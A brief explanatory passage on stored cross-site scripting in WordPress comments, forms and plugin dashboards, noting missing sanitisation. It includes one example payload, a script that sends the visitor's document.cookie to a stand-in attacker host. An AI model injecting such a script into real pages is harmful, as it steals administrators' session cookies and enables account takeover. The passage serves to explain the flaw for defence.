Cross-Site Scripting (XSS)
XSS in WordPress frequently occurs in comment sections, contact forms, or plugin administrative dashboards where user input is not properly sanitized via esc_html() or sanitize_text_field().
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie);</script>The Trap: When an admin views the pending comment, the browser executes the JavaScript, silently stealing session cookies or creating rogue accounts.